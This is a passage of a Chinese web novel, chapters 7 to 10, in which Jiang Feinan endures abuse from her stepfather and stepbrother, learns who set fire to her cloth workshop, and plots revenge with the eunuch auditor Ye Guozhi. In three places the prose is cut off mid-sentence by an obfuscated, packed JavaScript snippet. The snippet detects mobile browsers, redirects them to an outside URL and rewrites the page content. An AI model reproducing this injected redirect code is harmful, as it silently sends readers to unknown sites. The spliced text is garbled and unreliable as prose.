姜斐囡在泥地上支起身体，甲缝狠狠扣入渣土。昔日压抑的怒火在暴雨下癫狂燃烧着她的理智： 这世道不公！这天道不公！ 鸢飞远远瞧着小姐，只见她双目赤红犹如前来人间索命厉鬼，满身桀骜戾气全开擂着泥点留下四个大字—— 众生不忿！ “小姐。”鸢飞撇了伞来扶姜斐囡，却是摸着她浑身滚烫像块烙铁。 “小姐！”鸢飞急得尖叫。 姜斐囡意识逐渐模糊，拼着最后一口气嘱咐着： “鸢飞，要厚葬。” 7. 请罪 “好好的小姐不做，偏要做贱种。” 花窗后，小厮们正嚼着主人的碎嘴子。 同行人听着他惊世骇言，赶忙提醒：“小声些，她好歹是姜家的主子。” “怕她作甚？”那人生怕旁人听不清，扬着嗓子又高了几调：“姜家人丁早就败了去，如今这府上可是孙老爷做主。姜掌柜纵是在外能翻出筋斗云来又如何，回来还不得给咱家老爷乖乖当牛做马？” 鸢飞听着气不过，恨不得翻墙去打人，却是被姜斐囡拽着往墙角避了避。 “小姐？” 鸢飞不解的小声嘀咕，被姜斐囡比了个禁声的手势。姜斐囡认出了小厮的声音，恰是王珂送扇那天跑去给孙房山通风报信的狗腿子。 “要我说，这小女子就是皮痒不过。”小厮越说越自得，不由大放厥词：“王大人可是登过科的进士，配她是如何配不得？父母之命媒妁之言，自古就是纪纲人伦天经地义。不守妇道的玩意，竟敢搭上个没把的扫老爷的脸。” “哈！她也不想想她那不安分的娘是如何药死的，真不怕老爷也给她来个扒皮抽筋挫骨扬灰。” “你疯球了！”同行赶忙捂住小厮的嘴：“这话可是说得的？” 他俩小声嘀咕了几句，大概也晓得孙房山篡夺姜府的阴私上不得台面，草草刹住了话头。 末了小厮不由愤愤补上两句场面话： “老爷可是放了狠话，要姜掌柜磕破孙家列祖列宗的门槛。你且看她来不来！” “我要撕了那孙子的嘴！” 鸢飞哑着嗓子目光灼灼，恨不能将其生吞活剥。姜斐囡怕她冲动，急把人拦腰抱起藏在怀中，直到脚步逐渐隐退。 “小姐！”鸢飞挣开姜斐囡，眼眶泪水涟涟。 这群狼心狗肺的玩意，没得小姐苦苦撑起这个家，他们老早就在外头冻死饿死了。她不懂为何她们要百般隐忍遭这些垃圾践踏。 姜斐囡倒是能理解这群小厮的想法。尽管平日在府内如何卑微，对外提起自家富甲一方的主子也能沾几分荣光。哪怕同为奴婢，主子威风大的对上主子威风小的，脖子都能硬几分。 他们只要能做仆从中的人上人，在主子面前做人下人的痛楚似乎就能消散了去。 如此这般，自然会打心眼里憎恨她这个败坏门风的小姐。 理解不代表原谅。 姜斐囡敛了瞳仁淡淡道：“不急这一时。” “小姐难道真要去给他们磕头？”鸢飞一口气梗在胸前热血上头，却在姜斐囡沉默的回应中熄了火侯。 “咱们不要去磕那个头。”鸢飞希冀的目光投向姜斐囡。她家小姐原是那般骄傲能干的一人，纵是布坊烧了又何妨？千金散去还复来——就不该向蛀虫们低头！ 鸢飞心疼的抱住姜斐囡，抽抽噎噎拽住衣角不让她去： “爱谁谁去！我只要小姐喜乐安康。” 那群畜牲的话她们也听过了，她真怕小姐这次会死在祠堂里。 “鸢飞，我们没得选择。”姜斐囡强撑住理智看着她。布坊能被他们放火烧一次，自然也能被烧第二次。大火将布坊过半心血尽数损毁，她们元气大伤已是经不起折腾。更何况那些布匹烧了也就烧了，逝去的人命却似沉重砝码将她压得寝食难安。 不能再有人出事了。姜斐囡满脸疲惫。 鸢飞不可思议地瞪大眼——小姐这是认命了？ 她只觉得眼前的小姐分外陌生。变得不再意气风发，变得畏手畏脚起来。鸢飞失望地撇过头去。 姜斐囡轻轻将人揽入怀中。鸢飞的脑袋毛茸茸，尚且还是个黄毛丫头。跟着她这两年，她早早失去了孩童天真的权利，每日沉浸在勾心斗角的腌臜交易中腌渍入味，好端端的小孩也给熬得老气横秋。 “鸢飞啊，你且记住。”姜斐囡冷下眼一声轻叹：“这世上但凡能被拿捏的人，都是有自己的贪欲。我也不例外。” “他们没说错，是我活该罢了。” 鸢飞她不懂。 她不懂何为贪欲。更加不懂为何撑起布坊一方平安的小姐偏偏污蔑自己有贪欲——倘若连小姐都有贪欲，小姐的欲求又该为何等庞然大物？ 姜斐囡不奢望鸢飞现在就能读懂。 人行于世，好高骛远口出狂言容易，脚踏实地竭力躬亲很难。少年无知许下的宏伟大愿总是轻浮，无须红尘有意磋磨，稍历人间风霜便能枯朽。 可那未经考验的意志，又怎敢称得上舍生取义的正道？姜斐囡向来想得明白：野望什么欲求，必然承担相应罪孽，这世上断没有叫人白拿的好事。 她眷念摩挲着鸢飞的头，心中已然拿定了主意。 ______ 叩过三皇五帝，伏拜九祖列宗。 孙房山是个迷信的。明做过更加断子绝孙的事，却执意要这祠堂香火绵延永长。 倒也讽刺的紧。 姜斐囡处在下风处，闻着屋里烟熏火燎煞是难受。左右孙房山见不得她好过，倒也遂了他的意。 好不巧今天撞个烈日头。酷暑烘烤着脊背，姜斐囡隐约嗅到炙烤肉类的味道。脑海中枉死的焦尸历历在目，她不禁恍惚了心神，被孙房山一脚放倒。 “心不诚，从头来过。” 好在姜斐囡下意识护住了头。 她麻木着爬起重新跪住。虽说是从头来过，孙房山可从未允诺何时才是个头，对她来说无甚差别。 烈日当头，姜斐囡连续两个时辰滴水未进，嘴唇枯到起鳞。她对孙房山尚且有用，他暂不会叫她速死。奈何活着折磨的花样却是要多少有多少。 孙房山踹过姜斐囡只当她是路边野狗，掠过她拂袖去了里屋歇息。 “呀！这不是阿姐？” 一双锦靴，翡翠点缀。 貌似九分像那双旧鞋，却是他新镶的——只因那双旧的被瓷片划过痕，他看不过眼便索性丢了。 寻常小富人家能有双这样撑场面的鞋已是奢靡，孙少勋为道印子换了鞋追求的却是跟没换似的，小崽子穷奢极欲富贵逼人可见一斑。 姜斐囡牙根紧咬，都是她的银子。 “有时我真的佩服你。”孙少勋在她身侧低笑：“对着屋头那个痴傻，你竟然磕得下头去。” 孙房山在里屋避暑，如今这里四下无人，孙少勋便毫不避讳剥了孝子的假面。 “这日头可真是愁人。”他立在阴凉处可劲讲着风凉话： “阿姐要是服个软，我进去同那痴傻忽悠一番，这事也就揭过了。” 姜斐囡一只眼皮都懒得掀：“不用你猫哭耗子假慈悲。” 孙少勋没恼姜斐囡冷言冷语，反倒贴着脸再接再厉。 “阿姐要是想，咱们夜里偷偷把那老登绞死也行。”浅笑吟吟的一张脸，却说着世间最薄凉的话语：“他都老糊涂了。把你配给王珂是步浑棋，我们就该联手把布坊做大做强。” 姜斐囡直言道：“大凤律法规定：‘子弑父，斩立决’。” “呀！阿姐原来研究过。”孙少勋假意捂嘴作震惊状：“我原以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051089|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你是不想呢，合着是怕脏了手。” “我们偷偷的，谁发现就做掉谁。”孙少勋在她耳畔极力鼓吹。若不是清楚这个人何等恶劣，她怕是会险些着了他的道。 姜斐囡皱了眉头道： “你也不怕遭报应。” “该遭报应我老早就遭了，还能活到今日？”孙少勋不屑嗤笑。他是个不信鬼神的，伸着懒腰嚣张得很。见姜斐囡软硬不吃，他继续东扯西拉没话找话： “你去乡下见着那个小跛子了？他精神头如何？” “你怎么知道福嫂的儿子跛了？”姜斐囡敏锐抓住对方话语里的重点。 福嫂的儿子明明说是耕田摔的，这些日子家里忙着发丧更是没去书院上课，孙少勋这个什么都不上心的二世祖是如何消息灵通的？ 姜斐囡隐约有不好的预感。 “他是我的同窗，我自然关心他。” 福嫂的幺儿自小机敏，姜斐囡同紫阳书院的先生惜才，为他争取来学杂减半的名额。剩下的学费由布坊和福嫂各自出一半——即便如此这笔开支对福嫂家庭也是压力巨大。 好在幺儿是个争气疼人的，考试没出过书院前十。课余总抢着给先生打下手补贴家用，回到家也不忘帮手家里活计。 “更何况，他那条腿可是我亲手废的。” 孙少勋漫不经心倨傲嘲讽道：“一个奴婢的儿子，地里刨食的玩意也配和我同窗？居然还敢考在我前头？” “都怨阿姐给了他不该有的肖想，壮起狗胆竟敢同我叫唤。”他阴恻恻低笑起来：“要怨就怨阿姐好了，都是阿姐的错。” “孙少勋，你太过分了！” 姜斐囡攥紧了想打他的拳。 “姜斐囡，我明明还能更过分些。” 孙少勋不满姜斐囡的指责，言语委屈仿佛受了天大的冤枉。 话音将落，姜斐囡只感受到后背一阵推力。她双手撑地，却是给孙少勋踩上了背。 “求人就该有求人的德行。”孙少勋故意弯下身，嬉笑间将人命如草芥般举重若轻： “阿姐若是早早跪下，也不至于平白折笔人命钱。” 姜斐囡低头瞧见孙少勋那双翡翠靴，先前她就是用这双靴子的钱买了福嫂一条命。 姜斐囡感到胃里一阵翻涌。 “是你动的手。”姜斐囡冷静陈述着。如果说前世她只是猜忌，那么现在她已经可以确定孙少勋才是两世纵火的真凶。毕竟凭孙房山只会撒泼打人的猪脑，气上头时哪顾得上试探她对布坊的忠诚？ “自然是我干的。”孙少勋咧着嘴吱吱笑出声来，眉目骄傲的不像是杀了人，更像考了状元来邀功讨赏的：“不过是给你留点教训，阿姐喜欢吗？” “那死跛子，我老早就看他不爽。”嫉妒叫他扭曲了面容，俊秀青年倒和老年孙房山一般可怖起来： “这次死了老妈总该学会安分点。” 若非光天化日杀人犯法，姜斐囡早将这孽畜凌迟过上万遍。却是生生压下邪火： 姜斐囡，不急这一时。 瞧见她杀机毕露又万般隐忍的模样，孙少勋捧起肚子笑得愈加欢快： “就是这样！就是这样！” “这样才是你啊，阿姐。” 他捏起姜斐囡阴鸷的面庞，仿佛欣赏起世间最绮丽的风光： “就是这样才对。” 孙少勋跨着大步进了门，屋里窸窸窣窣片刻似达成了什么共识，没多久便传出孙房山的声音： “滚进来。” 8. 求荣 叶国枝已有多日未见到姜斐囡。 僻静绣楼终日紧锁，屡次拜访鸢飞都是垮着张脸欲言又止，却只是一味传声复读着： “我家小姐受了风寒，今日也不宜会客。” 叶国枝思量片刻，扭头便去了王珂的县衙。 “大、大、大——大人！大事不妙！” 师爷冯唐踉踉跄跄爬进衙门口：“审计监上门找咱算账来了！” “算什么算？账什么账？”王珂气的吹胡子瞪眼：“我都没去找那厮算账！” 富土是个小地方，惯于吃拿卡要欺行霸市的王知县竟也有被人鸠占鹊巢的时候，此番笑话已然随着商人们游走的脚步在周遭临县传开了去。 “不是那个算账。”冯唐喘着粗气比了个翻书姿势：“是这个算账。” “今晨我出门，审计监沿着商铺挨家挨户收了十年期的账本。最后怕不是要查到咱们这来。” 王珂这才听明白，叶国枝此番是追县衙的旧账来的。 明面上审计监已经许久未有动作，王珂甚至一度侥幸自己过了关，沉浮宦海多年的嗅觉却在反常中闻到些许蹊跷的味道。 他是天端四十二年的进士，上任富土将巧八年有余。当下倒查十年的账，很难不去猜想这铡刀是否专程为他而来。 “大人，我怕.....”师爷含混不清的指代，手正瑟缩发抖。叶国枝凶名在外，号称天下没有查不穿的账。 “怕什么！”王珂眯起眼强作镇定，声色俱厉的模样倒像在给自己壮胆：“我们行正端直，难道还怕他查出什么？” 话将落，门外马车歇了蹄。审计监浩浩荡荡收了近三车的陈账，押解护卫披鳞带甲将衙门口堵了个结实。叶国枝立于车头睥睨，蟒袍玉带金丝冠声势熏灼，生生摆出副抄家阵势。 王珂心头慌得一跳，咬紧牙关迎出：“许久不见叶大人，什么风可把您给吹了来。” 叶国枝也不客套，单刀直入道：“王大人可听闻近期姜氏布坊走水的案子？” 这案子是他亲手判的，王珂如今却是在装傻：“是下官辖内的案子，倒还记得些。” 姜氏布坊大火损伤惨重，案子落到王珂手里他怎会放过落井下石的机会？福嫂那笔巨额丧葬里多少带了些个人恩怨。 王珂暗爽着假意询问：“叶大人怎么突然关心这个？” “无他。”叶国枝掩唇轻笑：“咱家寄人檐下多受照拂，姜掌柜近日为这事思虑成疾，咱也不免多关心些。” 他那是关心？关心到人家黄花闺女房里去。王珂记恨着叶国枝横刀夺爱，不免暗自唾弃： 呸！无耻！ “姜掌柜若能知晓叶大人心意，怕是要受宠若惊。”王珂假笑着奉承：“奈何下官判案也只能照常理，还望大人多担待。” “理解理解。”叶国枝笑眯眯拍了拍身后车厢：“可巧了不是，咱也是奉旨查账去交个差，大家都互相理解。” 王珂本该是生气的。 冯唐还以为是什么天塌的大事。审计监声势浩大倾巢而动，竟是为个女人出头。 两番心境相互比较，他也就不气了。 听闻姜掌柜亲自跑到乡下扯了许久的皮，可谓是伤筋动骨。叶国枝如此竭心尽力，满心满眼扑在姜斐囡身上倒也是桩好事。 王珂暗地里松了口气，朝冯唐递了个眼色： “愣着做甚！叶大人贵人多忙，哪容得你墨迹？” 没有想像中剑拔弩张，王珂目送车队浩浩荡荡离去。旁边冯唐经不住发问： “大人真信他们就交个差？” 叶国枝这厮若单挑几本账册来讹人，王珂还能高看他几眼。如今他大张旗鼓反倒露怯，坐实了王珂对他故作高深虚张声势的猜想。 冷静下来细想，富土本就是苏州府水运中枢，往来商户业务繁杂盘根错节。整个富土商户十年的流水往来，用脚趾想都是肉体凡胎看不完的天量。 叶国枝铁了心要尝尝苦头，就随他吃去。王珂一声蔑笑——可看不死他！ 所谓内廷第十三监，水平不过尔尔。 ______ 送走叶国枝，王珂去赴了孙房山的约。 老远便瞧见一尊石像杵在祠堂，往近些走才能看出个人形。 “孙老爷这是何意？” 他本就一览无余，偏偏要拿腔拿调叫孙房山亲口道出原委。 孙房山弯下腰拱手作揖： “小女少不更事，误了王大人一片真心。小弟已经教训过，拿了人过来但凭大人发落。” 姜斐囡跪在门外，抿住渗血的嘴唇，铁锈腥味在口腔中迸发。 无疑孙房山此时需要她，需要她在王珂面前顶下一切罪状。 王珂回望门口跪着的女子，那是叶国枝的女人。 他冲她招了招手道： “过来。” 姜斐囡应声猫腰而入。低眉垂首的模样煞是乖顺，仿佛王珂初见时那般，像个贤妻良母的好苗子。 “抬起头来，我要听你说。” “大人。”姜斐囡一双水眸含情：“小女听闻大人被审计监恼得茶饭不思，便存了尽份力气的心思。哪成想阴差阳错竟与叶大人有了露水情.......” “小女辱灭门风自觉羞愧，辜负大人真心唯有长跪以求谢罪。” 这些唱白是孙房山敲定的口供。孙房山听着都快被自己的聪明才智折服落泪，姜斐囡离得近，只瞧见王珂阴阴挂下的脸。 姜斐囡是个有天赋的。王珂仔细端详着她的面庞，这才堪堪认清她的真容：如花美人掩面自泣，好不可怜。一点朱唇沾了血，更显潋滟。 她不光生了张好脸，更加懂得利用优势以情媚人。配叶国枝纯属暴殄天物。 王珂不由畅想，若是真与她成了好事，如此绝色佳人献给上峰不知能帮他这官阶抬上几级？怕不是从此平步青云官运亨通。 可惜了。他们文人雅士要脸，伺候过阉狗的女人卖不上价去。 王珂嗤笑。事到如今珍珠变作了鱼眼，孙房山还在试图蒙混过关，可别真把他当了傻子！ 王珂的脸阴到能滴出水来，姜斐囡自顾垂头伏低做小。此番都是孙房山的主意，她难得老老实实半字手脚未做。 可惜孙房山的猪脑尽整这无用功。 孙房山对自己尚无自知之明，那王珂与他一丘之貉，甚至更为激进——他们都将女人视为礼品附庸。 当视野由权威和偏见构筑起，坐井之蛙宁愿一叶障目自相残杀，也不愿意相信一介女流可以拥有自由意志去筹谋报复，轻而易举将他们挑拨了去。 破镜尚难重圆。怀疑的种子一旦种下，只会生根发芽无限壮大。更何况是两个自私自利心胸狭隘之徒？ 王珂自是不会信姜斐囡嘴里蹦的一个字。他甚至有些许好奇。孙房山既然成功搭上叶国枝，又何必调转头来摇尾乞怜讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051090|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己欢心？ 怕不是终于发现，县官不如现管。王珂蔑笑着商人有奶就是娘的尿性。 毕竟京中贵人高堂甚远，富土余威却是近在咫尺。 王珂垂眸闭目，满脑子都是叶国枝那张难缠的脸。 旁边孙房山焦急似火，当下把姜斐囡强塞给王珂已是天方夜谭，只能靠贩卖情分辗转迂回，尽力保住与王珂的联盟。 他只悔恨自己没栓住姜斐囡这贱蹄子，白瞎这段好姻缘。进士做女婿是她姜家祖坟冒青烟的福分，这赔钱货全须全尾的真男人不要，招个假男人给他书香门第抹羞。 若不是眼下布坊还需得她熬住，寻常女子早被他三尺白绫处理了去。 半晌，五旬老朽忽的睁开了眼，又再度仔细打量了她： 这是叶国枝的女人，如今却跪倒在他膝下。 权威的巨大满足感叫他兴奋。 王珂脑中滑过某个大胆的想法。 “士农工商，你们商人是最贱的一格。”王珂这话无疑是在指桑骂槐。姜斐囡不是不知道面前两条老狗肚子里正憋着劲编排她贱，她却是麻木应和道： “是。” 王珂这句话未必是错的。 自古以来商人地位卑微，在大凤朝也不例外。 坊间都说商人位卑，膝盖也软。向来只听说过文人风骨，何曾听过商人风骨？不过是东食西宿讨口饭吃，为了苟活他们愿意做任何下贱之事。 ——在世人眼中可不就是低贱？ “你配叶大人多少还是差些火候。”王珂先是假惺惺关照，下句话便图穷匕见： “往后你就做我干女儿罢。” 是夫妻还是干父女，只要能把手伸进布坊，对王珂差别不大。他骄傲于如此设计即给姜斐囡抬了身份，自己又赚到了叶国枝的便宜，未尝不是件好事。 王珂予她投向怜悯施舍的目光，自得的等着姜斐囡感激涕零的叩谢。 “还不快谢谢干爹！”孙房山看见与王珂重修旧好的眉目，激动到不能自己。谄媚撑开了老脸，恨不能替姜斐囡磕这响头。 姜斐囡只觉可笑。如果说为自己谋生路称得上贱，割肉为他人谋前程岂不是贱上加贱？怎么在悠悠众口中又变成了奉献？ 商人求利，官僚求荣。 在她眼中并无不同。需要时，她亦能如蒲苇般贱如草芥。 姜斐囡忍住恶心哐哐哐磕下三个响头。 倘若尊严卖不上几枚铜板，也不过是扰人心智的无用之物。能笑着苟活到最后的才赢家，姜斐囡对商人的存活之道深以为然。 ——且等着。 “好孩子。”王珂笑逐颜开：“往后出了什么事就回娘家，干爹给你做主。” “你也要心里向着干爹，叶大人平日吃些什么干些什么也与干爹只会声。” ______ “大人就这么放过他们了？” 凭王珂的气量，冯唐都觉得不可思议。 “放过？”王珂狞笑道：“我何时说要放过。” 他能托妻献子博功名，自然不在乎女子贞洁，可却又无比爱惜自己的名声。姜斐囡叫他成为同期的笑柄，他怎么舍得叫这小贱人善终。 “冯唐，你记住。” “背叛过的男人敲敲打打还能记得回来，背叛过的女人就像尝过人血的畜牲断不能留下活口！*” 打一开始，他就没想过叫那二人活着走出富土。 9. 布坊 水榭亭台中，女子锁紧眉头盘着账，侍女在左右侍奉。明瓦作的花窗里朝阳懒懒收回触角，许是过于入神，主仆二人感到些许凉意才惊觉时间已是过了晌午。 叶国枝停了脚步，禁不住出声： “姜掌柜，天凉。” 姜斐囡穿着精工的苏绣襦裙，直到她站起身来，他才惊觉她的领口袖口俱是大了一截——不是衣服变大，是人变得小小一只。 许久未见就是这副德行，叶国枝的心狠狠揪起。暗地狠狠骂了孙房山一句畜牲。 印象中姜斐囡本该像年画娃娃般红润娇憨，竟在短短几日磋磨下被削成了一颗瓜子。如今她身形似鹤却弱不胜衣，眉眼间操劳无神尽显疲态，通身的锦绣几欲将脊骨压垮。 忽而吹起一阵过堂风，他自觉卸下外衫欲裹紧她。 姜斐囡往后躲闪半步： “叶大人，我辜负了你。” ______ 布坊废墟的清理日程逐渐步入尾声，喜庆红漆粉刷过火燎烟熏的黑痕，唯有些许未能即时更换的老旧瓦片尚能佐证悲剧的真实发生。 叶国枝的日常基本都在查账中度过，甚少有机会步入布匹的实际生产，此番也是跟着大开眼界。 蚕丝是一种珍惜又脆弱的织造原料，往往不能直触阳光。寻常作坊都是见缝插针暴晒荒野靠天吃饭，姜家是最早仿照庭院连廊设计建设出阴干大棚的布坊，并由此无惧日晒雨淋稳定供货——这样的巧思在布坊随处可见，也难怪姜家可以稳坐布行生意的万年老二。 大棚里挤满了煮熟的织物，下饺子般排队等待脱水。原本正在放酷暑假期的女工们听闻布坊走水，如今正自发的陆陆续续返工回岗。女工们撸起袖子劲头十足，势要把因火灾积压丢失的订单全部追回。 “当年我回富土，没人信我个小姑娘能站在废墟里干干净净的把钱给挣了。”姜斐囡望着热火朝天的女工们陷入回忆： 那年寒冬腊月下着雪，孙房山的心腹将布坊来年的预付货款卷了个干净。她在除夕夜抱着没卖出去的陈货挨家敲门，半买半送近乎乞讨的凑齐了开春后的周转。 “是绣娘们一针一线，是纺工一个孔眼一个孔眼，磨穿了手熬瞎了眼，终于用一张金丝提花锦将我托举出来。可以说没有她们，就没有姜家的今天。” “可惜孙房山不懂这个道理。他以为银子是从天而降的，以为官场那群硕鼠才能保住他一世荣华富贵。” 姜家先祖在布匹行业耕耘百年，从最简陋的小型腰机，逐步扩充为三五百台罗织机的工坊，又购入缫车、纹织机、提花机，另设刺绣匠、结花匠满足顾客各色需求。鼎盛时期，她家不光有自己的丝场，连染色也能一手包揽。 “我的母亲本是富土最好的布商。” 那是姜家最绚丽的辉煌。布坊交到母亲手里后，她加强了刺绣剪裁等客制需求的比重，成功打通从布坊到成衣直销的商道。姜氏布坊的名头一度震响京师，母亲更是凭借羊绒毛毡和丝绸甲胄深受漠北靖王赏识，吞下了漠北军队的天量订单。 “可惜她生了我。” 姜斐囡自嘲勾起嘴角，自厌又疏离的眼睛空洞无神。 叶国枝怜惜她脆弱又坚韧，小心翼翼开口劝慰： “姜掌柜不必妄自菲薄。尊母送你去念书进学，想是对你饱含期许。” 大凤官府推举女学虽有些年头，奈何受传统思潮影响除了在京师响些水花，往往局限于漠北、峨嵋两地。家有学龄女儿的，即便有入读愿意也要考虑山高水长女子离家求学有损名节——愿意承受离经叛道指点的家庭凤毛麟角，财富与胸襟的支持都缺一不可。 花苑女的珍贵便是由此而来。 姜斐囡轻轻摇了摇头： “不，叶大人你不懂。” “商人有钱无权夹缝求生，自古以来都是遭唾弃的贱行。再小的芝麻官都能将我们肆意玩弄，合理合法的敲骨吸髓抄家灭门。凡是富裕人家最终都会走上读书科举之路，为的就是个朝中有人谋求自保。” 姜斐囡凄然惨笑：“我阿公阿婆也是这般思想。只可惜我家三代单传，到我母亲辈终是断了香火。他们便转念把期许寄托在孙辈身上，只盼富土姜氏一门能出息个状元郎。” 他们千挑万选的好贤婿，便是当时名落孙山的落魄秀才孙房山——不是姜家不想挑个好的，商贾门户在官场处处遭鄙，约莫等同自决于同僚自毁前程。也只有孙房山这种久考不中的秀才会愿意捏着鼻子入赘。 “可惜我又是个女的。”姜斐囡自嘲道。 大凤为推行女学设立女子科考，准许女子入朝为官。可惜粥多僧少，女官席位多为士族贵女占据，根本不是她们无门无派的商户人家该肖想的。 “阿公阿婆几近绝望，只有我母亲拼着口怨气要我去试试。” 这些话是前世姜斐囡从未对叶国枝提起的。此时她却像溺毙冰河的受难者，盲目寻找透气的切口。趁着生命尚有余日欢唱，将一切通通诉予他听。 她知道他会听的。 “母亲自打生我落下病根，身体逐年虚弱。阿公阿婆去世早，我又远在四川念书。孙房山趁我母亲虚弱夺走了她的心血，她的心也跟着萎去。没几年便油枯灯尽撒手人寰。” 往后的部分都是叶国枝知晓的。 叶国枝听着她状似波澜无惊的自序，胸腔随着故事起伏悲伤的瓮动。第一次，他自发主动抱住了她。 “叶大人，我可是辜负了你。” 她耿耿于怀警醒着他，亦或是钓手的又一次抛勾甩饵。 “仅见面三次的生人，又谈何辜负。” 叶国枝的语气淡淡的，仿佛在讲述再稀疏平常不过的公理：“姜掌柜不是叶某的所有物，你这般行事自会有你的考量。” 他的声音轻若羽翼，似落雪无声为大地盖上棉被，又像母亲眷念的眸光随行爱抚着赤子，四两拨千斤揉荡着她的心弦： “努力长成今日这般参天秀树属实不易。” “囡囡，尽做你想做的去。” 嗡的一声，头浆欲迸。姜斐囡只觉得脑中一片缠柔绵麻。她原是存着哄骗他的心思，却叫他的坦荡一击即溃。 她竭力攥紧了叶国枝的衣角： “孙房山害死我母亲，又火烧布坊逼我就范。他们说要我谨记，母亲是不够安分才被害死的。” ——母亲恰恰是过于安分！ “王珂想在你身旁安个探子，被我给领了下来。与其被动抬上砧板遭人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051091|162830||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼肉，不如顺势作局赢得活动空间，最终鹿死谁手尚且待定。” 姜斐囡不是个惯于与人全盘托出的性子，如今却在努力适应。 “鸢飞总是问我，为什么要回到这个吃人的地方。” 母亲操劳一生就像被囚禁牢笼中的翠鸟，究极努力生出华美丰沛的羽翼，最终不过是成就了他人的霓裳羽衣。 为何不逃？为何要回来？ “我原以为是故土眷念囚住了母亲，也囚住了我。” 记忆中母亲的背影强大而美丽，她本该有无数机会逃出升天，却选择留下斗争——最终失去财产、名誉、尊严乃至生命。 如今姜斐囡亦站在了与母亲相同的抉择路口上： “是我想错了。” “衙门是帝国最微小的臣子，却是宗族最强大的君主。宗族是衙门最卑微的子臣，又是分家最尊贵的主父。君君臣臣父父子子，人上人套人下人，环环相扣层层盘剥无穷匮己。实在无人可欺的，还能调转头去欺压妻女取乐。” 原先她想不明白的，站在这里时也就通透了。 “女子是备受欺压的最末端。便是再显贵的贵女，幼时从父兄、出嫁从夫婿、老来从子嗣，由生到死富不沾手。” 一场婚姻结两姓之好，从父兄到丈夫，财富顶着婚嫁名头由一户流转至另一户，女子只是连接利益的纽带。 “当世女子之困境，皆由身心依赖而起。才子佳人话本训导女子痴心一片方得圆满，父母怜其爱女亦不过增添妆奁教她逆来顺受相夫教子。世人皆道女子掌家，可是女子既无权发落家产，更无名继承衣钵。所谓掌家何其可笑？” “究其根本，皆因律法不授予女子拥有私产之权利，不承认女子亦能顶天立地自立门户之事实——唯使女子无名无产方能甘愿柔顺皈依，成为备受欺压的最末端。” 姜斐囡逐渐从沉沦脆弱中清醒，抽离了叶国枝的怀抱： “叶大人，这布坊之中聚的尽是群无名无产的姐妹来某条生路。” 她远远眺望忙碌的女工们。 “孙房山不满我母亲逆反，便将她害了去。终有一日孙房山也会不满我逆反，要将我害了去。” 身为商人她自当明白明哲保身的道理，却愈加领悟到当年叫母亲退无可退的困境： “可是小叶大人啊，我是绝对不会退让的。” ——“我心有不甘。” ______ “民女姜斐囡状告孙房山王珂，合谋杀害我母亲，巧取豪夺吞并姜氏布坊。” 坚若磐石的眼神又叫他想起那个义无反顾投奔的夜晚：烈焰在她眼中燃烧焦灼了月色，誓要把炼狱烧穿的决绝在他骨血刻下烙印。 他想他是爱她的。 无数次，姜斐囡尽可借悲惨身世赚足眼泪。 她明明可以对他说，“带我走。” 她明明可以对他说，“怜惜我。” 她明明可以对他说，“保护我。” 可她偏偏说的是：“小叶大人，我心有不甘。” 这一刻，思虑究竟是真心混杂假意，还是假意镶嵌了真心都不再重要。 叶国枝再次无比确认： 他爱惨了这个勇猛的姑娘。 10. 夜宴 衙门一别，王珂倒是安生了几日。 可惜酒池肉林刚消停没几天，王珂又往叶国枝住处递了宴帖。 叶国枝吃不准王珂打的什么算盘，满腹狐疑拿着帖子去问姜斐囡。姜斐囡只扫一眼，便淡淡道： “可以去。” 先前叶国枝同王珂因着她闹了不愉快，眼下尘埃落定，老油条王珂自然想寻个台阶维护下脸皮。 “是我一手操办的，叶大人尽可宽心。” 王珂设宴，孙房山上赶着去送钱，最终走的是布坊的亏损。这事经姜斐囡的手，自然知根知底。 她漫不经心理着叶国枝的衣襟，像寻常妻子般叮嘱出门应酬的丈夫： “少喝酒，早些回。” ------ 西山日薄，河道两侧燃起星星灯火。悠悠丝竹夹着琵琶随水波摇曳魅惑着过客，船上酒家们张灯结彩开始了夜间生意。 王珂一如既往前呼后拥领着群狐朋狗友充人气。 男人们踏入船舫时，酒是冰镇好的，舞伎随乐声律动，沿畔灯火辉煌如昼，直叫人感慨良辰美景人间值得。 王珂此次说是宴请，实则是试探。 自从上次叶国枝收完十年期的账册，如今的审计监就像个黑箱：既未有单点的深入追查，也没有归还账册的迹象。底下商户好几次来找王珂探口风，王珂自己也摸不着头脑。 莫非真如他说的，只往上面交个差？ 荒唐臆想在脑中滑过，多年的政治嗅觉却叫他连连摇头。审计监表现的如何平平无奇，叶国枝终究是在个京师杀得人头滚滚的主。王珂就是再瞧不上阉臣，也不得不打起十二万分小心应付。 